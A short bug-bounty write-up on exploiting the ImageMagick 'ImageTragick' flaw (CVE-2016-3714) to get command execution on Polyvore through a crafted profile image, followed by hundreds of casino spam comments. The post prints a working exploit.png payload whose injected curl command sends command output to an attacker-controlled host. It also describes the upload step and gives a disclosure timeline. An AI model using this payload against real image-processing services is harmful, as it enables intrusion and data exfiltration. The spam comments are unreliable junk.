Exploiting ImageMagick to get RCE on Polyvore (Yahoo Acquisition)

On 5/5/2016 ImageMagick was assigned CVE-2016-3714 “ImageMagick Delegate Arbitrary Command Execution”. Now let’s dig to this vulnerability and how to exploit this.  Having ImageMagick locally installed is advised in order to validate the POC (but not required). For this particular report, I created a file named  exploit.png with the following in the “source code” to get the target’s `id`:



$ cat exploit.png
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`id | curl http://SOMEIPADDRESS:8080/ -d @- > /dev/null`'
pop graphic-context

Now quick check with ImageMagick to make sure our POC is working we'll have nc listening on 8080 and convert x.png to a test file :

$ convert x.png test.png
 % Total % Received % Xferd Average Speed Time Time Time Current
 Dload Upload Total Spent Left Speed
100 347 0 0 100 347 0 37 0:00:09 0:00:09 --:--:-- 0
[...]

Yahoo_RCE_Test1
Alright! We got a working POC. Now let's try and find target for this and talk about Yahoo! The process should be pretty easy, find an image uploader (i.e. profile images) and upload the exploit.png file and see what happens. Lucky for me, Polyvore was recently acquired and added to the Yahoo Bug Bounty scope where I remember there was an profile image  function from previous testing. Uploading a exploit.png onto Polyvore as my profile image resulted in:

Yahoo_RCE

 

Timeline:

5/4/2016  14:15 - Vulnerability Discovered

5/4/2016 14:35 - Triaged

5/4/2016 15:50 - Fixed

 

 

8,627 comments
  1. […] Exploiting ImageMagick to get RCE on Polyvore (Yahoo Acquisition) by NaHamSec […]

  2. online gambling casino3

  3. online casinos for us players68

  4. online casino gambling29

  5. online casino slots78

  6. online casino bonus61

  7. slots for real money38

  8. zone online casino71

  9. empire city online casino47

  10. free slots casino games0

  11. free casino games vegas world5

  12. free casino games slot machines40

  13. zone online casino games99

  14. casino games free online48

  15. free casino games no download20

  16. free casino games slotomania35

  17. casino games online81

  18. free casino games slots75

  19. vegas world casino games7

  20. free vegas casino games59

  21. free online casino games47

  22. casino games slots free33

  23. free casino slot games19

  24. best online casino79

  25. vegas casino slots57

  26. vegas slots online47

  27. cashman casino slots66

  28. gold fish casino slots9

  29. world class casino slots64

  30. slotomania free slots39

  31. heart of vegas free slots51

  32. caesars free slots87

  33. jackpot magic slots14

  34. simslots free slots79

  35. buffalo gold slots59

  36. brian christopher slots43

  37. penny slots free online31

  38. lady luck online casino18

  39. online casino games free22

  40. slotomania slot machines72

  41. grand falls casino47

  42. three rivers casino91

  43. fortune bay casino58

  44. high five casino slots19

  45. rock n cash casino slots95

  46. dakota sioux casino61

  47. big fish casino slots17

  48. prairie meadows casino61

  49. royal river casino15

  50. vegas casino games76

  51. hollywood casino play4fun97

  52. hollywood casino online slots81

  53. posh casino online42

  54. virgin casino online24

  55. bigfish casino online games37

  56. maryland live casino online44

  57. casino online slots60

  58. casino bonus codes53

  59. online casino games29

  60. play online casino14

  61. free casino games online43

  62. best online casinos92

  63. online casino real money55

  64. parx online casino31

  65. foxwoods online casino38

  66. tropicana online casino36

  67. caesars online casino63

  68. borgata online casino81

  69. free online casino55

  70. free online casino slots24

  71. firekeepers casino55

  72. winstar world casino56

  73. online gambling casino74

  74. online casinos for us players73

  75. online casino gambling22

  76. online casino slots20

  77. online casino bonus67

  78. slots for real money94

  79. zone online casino85

  80. empire city online casino90

  81. free slots casino games58

  82. free casino games vegas world47

  83. play free vegas casino games9

  84. free casino games slot machines14

  85. zone online casino games29

  86. casino games free online32

  87. free casino games no download80

  88. free casino games sun moon10

  89. free casino games slotomania56

  90. casino games online47

  91. free casino games slots15

  92. vegas world casino games8

  93. free vegas casino games54

  94. free online casino games2

  95. casino games slots free60

  96. free casino slot games14

  97. best online casino22

  98. vegas casino slots84

  99. cashman casino slots39

  100. gold fish casino slots61

  101. world class casino slots86

  102. slotomania free slots56

  103. heart of vegas free slots44

  104. caesars free slots59

  105. house of fun slots70

  106. jackpot magic slots82

  107. simslots free slots71

  108. buffalo gold slots12

  109. brian christopher slots68

  110. lady luck online casino0

  111. online casino games free27

  112. slotomania slot machines22

  113. online slot machines94

  114. grand falls casino31

  115. fortune bay casino43

  116. high five casino slots47

  117. rock n cash casino slots23

  118. dakota sioux casino84

  119. big fish casino slots38

  120. prairie meadows casino58

  121. vegas casino games57

  122. hollywood casino play4fun44

  123. hollywood casino online slots73

  124. posh casino online30

  125. virgin casino online77

  126. bigfish casino online games27

  127. maryland live casino online57

  128. casino online slots18

  129. casino bonus codes50

  130. online casino games31

  131. play online casino69

  132. free casino games online87

  133. best online casinos78

  134. parx online casino94

  135. virgin online casino15

  136. foxwoods online casino83

  137. tropicana online casino31

  138. caesars online casino66

  139. borgata online casino1

  140. free online casino35

  141. free online casino slots53

  142. firekeepers casino35

  143. online gambling casino15

  144. online casinos for us players23

  145. online casino gambling11

  146. online casino slots53

  147. online casino bonus46

  148. slots for real money63

  149. empire city online casino60

  150. free slots casino games15

  151. free casino games vegas world56

  152. play free vegas casino games14

  153. free casino games slot machines66

  154. zone online casino games13

  155. casino games free online84

  156. free casino games no download50

  157. free casino games sun moon80

  158. free casino games slotomania59

  159. free casino games slots43

  160. vegas world casino games52

  161. free vegas casino games31

  162. free online casino games0

  163. casino games slots free32

  164. free casino slot games70

  165. gold fish casino slots88

  166. world class casino slots69

  167. heart of vegas free slots92

  168. brian christopher slots89

  169. penny slots free online42

  170. lady luck online casino70

  171. online casino games free53

  172. slotomania slot machines79

  173. online slot machines53

  174. high five casino slots29

  175. rock n cash casino slots63

  176. big fish casino slots18

  177. prairie meadows casino87

  178. hollywood casino play4fun61

  179. hollywood casino online slots34

  180. maryland live casino online72

  181. free casino games online46

  182. online casino real money32

  183. virgin online casino19

  184. foxwoods online casino96

  185. tropicana online casino3

  186. caesars online casino40

  187. borgata online casino80

  188. free online casino slots76

  189. winstar world casino33

  190. online gambling casino11

  191. online casinos for us players21

  192. online casino gambling74

  193. slots for real money80

  194. empire city online casino55

  195. free slots casino games32

  196. free casino games vegas world44

  197. play free vegas casino games52

  198. free casino games slot machines0

  199. zone online casino games73

  200. casino games free online9

  201. free casino games no download88

  202. free casino games sun moon67

  203. free casino games slotomania26

  204. free casino games slots24

  205. vegas world casino games0

  206. free vegas casino games89

  207. free online casino games51

  208. casino games slots free84

  209. free casino slot games66

  210. cashman casino slots77

  211. gold fish casino slots15

  212. world class casino slots76

  213. slotomania free slots78

  214. heart of vegas free slots7

  215. penny slots free online95

  216. lady luck online casino26

  217. online casino games free35

  218. slotomania slot machines16

  219. online slot machines78

  220. high five casino slots76

  221. big fish casino slots45

  222. prairie meadows casino25

  223. hollywood casino play4fun29

  224. hollywood casino online slots91

  225. virgin casino online46

  226. bigfish casino online games38

  227. maryland live casino online29

  228. online casino real money87

  229. virgin online casino81

  230. tropicana online casino74

  231. caesars online casino73

  232. borgata online casino39

  233. free online casino slots50

  234. winstar world casino16

  235. online gambling casino31

  236. online casinos for us players57

  237. online casino gambling83

  238. slots for real money68

  239. empire city online casino80

  240. free slots casino games85

  241. free casino games vegas world95

  242. play free vegas casino games79

  243. zone online casino games68

  244. casino games free online45

  245. free casino games sun moon6

  246. free casino games slotomania33

  247. free casino games slots22

  248. vegas world casino games84

  249. free vegas casino games33

  250. free online casino games55

  251. casino games slots free16

  252. free casino slot games21

  253. cashman casino slots32

  254. gold fish casino slots45

  255. world class casino slots49

  256. slotomania free slots23

  257. brian christopher slots83

  258. penny slots free online5

  259. lady luck online casino49

  260. slotomania slot machines76

  261. online slot machines64

  262. high five casino slots61

  263. rock n cash casino slots5

  264. big fish casino slots48

  265. prairie meadows casino27

  266. hollywood casino play4fun4

  267. hollywood casino online slots22

  268. bigfish casino online games47

  269. maryland live casino online94

  270. free casino games online14

  271. online casino real money34

  272. virgin online casino62

  273. foxwoods online casino80

  274. tropicana online casino38

  275. caesars online casino43

  276. borgata online casino58

  277. free online casino slots51

  278. winstar world casino62

  279. online gambling casino16

  280. online casinos for us players46

  281. empire city online casino1

  282. free slots casino games91

  283. free casino games vegas world80

  284. play free vegas casino games60

  285. free casino games slot machines56

  286. zone online casino games89

  287. casino games free online8

  288. free casino games no download71

  289. free casino games sun moon47

  290. free casino games slotomania52

  291. free casino games slots51

  292. vegas world casino games74

  293. free vegas casino games12

  294. free online casino games36

  295. casino games slots free34

  296. free casino slot games10

  297. cashman casino slots40

  298. world class casino slots42

  299. slotomania free slots98

  300. heart of vegas free slots4

  301. brian christopher slots9

  302. penny slots free online74

  303. lady luck online casino75

  304. online casino games free46

  305. slotomania slot machines55

  306. online slot machines16

  307. high five casino slots16

  308. rock n cash casino slots14

  309. big fish casino slots84

  310. hollywood casino play4fun24

  311. hollywood casino online slots21

  312. virgin casino online49

  313. bigfish casino online games64

  314. maryland live casino online58

  315. free casino games online75

  316. online casino real money83

  317. virgin online casino75

  318. foxwoods online casino12

  319. caesars online casino41

  320. borgata online casino35

  321. free online casino slots18

  322. winstar world casino89

  323. online casinos for us players14

  324. online casino gambling81

  325. slots for real money67

  326. empire city online casino92

  327. free slots casino games9

  328. free casino games vegas world51

  329. play free vegas casino games78

  330. free casino games slot machines67

  331. zone online casino games67

  332. casino games free online41

  333. free casino games no download17

  334. free casino games sun moon37

  335. free casino games slotomania55

  336. free casino games slots55

  337. vegas world casino games34

  338. free vegas casino games68

  339. free online casino games64

  340. casino games slots free80

  341. free casino slot games12

  342. cashman casino slots85

  343. slotomania free slots50

  344. heart of vegas free slots72

  345. brian christopher slots18

  346. penny slots free online46

  347. lady luck online casino50

  348. online casino games free24

  349. slotomania slot machines91

  350. online slot machines42

  351. high five casino slots65

  352. rock n cash casino slots76

  353. big fish casino slots58

  354. prairie meadows casino14

  355. hollywood casino play4fun70

  356. hollywood casino online slots33

  357. virgin casino online82

  358. bigfish casino online games28

  359. maryland live casino online45

  360. free casino games online47

  361. online casino real money98

  362. foxwoods online casino26

  363. tropicana online casino98

  364. caesars online casino54

  365. borgata online casino66

  366. free online casino slots32

  367. winstar world casino82

  368. online gambling casino23

  369. online casinos for us players5

  370. online casino gambling90

  371. slots for real money49

  372. empire city online casino10

  373. free slots casino games6

  374. free casino games vegas world1

  375. play free vegas casino games27

  376. free casino games slot machines10

  377. zone online casino games19

  378. casino games free online43

  379. free casino games no download6

  380. free casino games sun moon24

  381. free casino games slotomania98

  382. free casino games slots11

  383. vegas world casino games58

  384. free online casino games35

  385. casino games slots free99

  386. free casino slot games57

  387. cashman casino slots62

  388. gold fish casino slots22

  389. slotomania free slots92

  390. heart of vegas free slots34

  391. brian christopher slots48

  392. penny slots free online98

  393. lady luck online casino54

  394. online casino games free29

  395. slotomania slot machines18

  396. online slot machines74

  397. high five casino slots28

  398. rock n cash casino slots71

  399. big fish casino slots91

  400. prairie meadows casino32

  401. hollywood casino play4fun18

  402. hollywood casino online slots19

  403. virgin casino online37

  404. bigfish casino online games3

  405. maryland live casino online67

  406. free casino games online53

  407. online casino real money72

  408. virgin online casino31

  409. foxwoods online casino79

  410. tropicana online casino88

  411. caesars online casino24

  412. borgata online casino36

  413. free online casino slots72

  414. winstar world casino67

  415. online gambling casino37

  416. online casinos for us players80

  417. slots for real money69

  418. empire city online casino27

  419. free slots casino games68

  420. play free vegas casino games36

  421. free casino games slot machines83

  422. zone online casino games69

  423. casino games free online99

  424. free casino games no download44

  425. free casino games sun moon2

  426. free casino games slotomania62

  427. free casino games slots63

  428. vegas world casino games39

  429. free vegas casino games95

  430. free online casino games49

  431. casino games slots free10

  432. free casino slot games90

  433. cashman casino slots15

  434. world class casino slots56

  435. slotomania free slots93

  436. heart of vegas free slots6

  437. brian christopher slots61

  438. penny slots free online93

  439. lady luck online casino59

  440. online casino games free7

  441. slotomania slot machines37

  442. online slot machines10

  443. rock n cash casino slots62

  444. big fish casino slots85

  445. hollywood casino play4fun60

  446. hollywood casino online slots16

  447. virgin casino online87

  448. bigfish casino online games15

  449. maryland live casino online81

  450. free casino games online95

  451. online casino real money78

  452. virgin online casino74

  453. tropicana online casino14

  454. borgata online casino91

  455. free online casino slots65

  456. winstar world casino30

  457. online casinos for us players71

  458. online casino gambling99

  459. slots for real money32

  460. empire city online casino32

  461. free slots casino games51

  462. free casino games vegas world10

  463. play free vegas casino games15

  464. free casino games slot machines46

  465. zone online casino games76

  466. free casino games no download92

  467. free casino games sun moon57

  468. free casino games slotomania91

  469. free casino games slots49

  470. vegas world casino games53

  471. free vegas casino games61

  472. free online casino games53

  473. casino games slots free67

  474. free casino slot games26

  475. cashman casino slots48

  476. world class casino slots9

  477. slotomania free slots57

  478. heart of vegas free slots95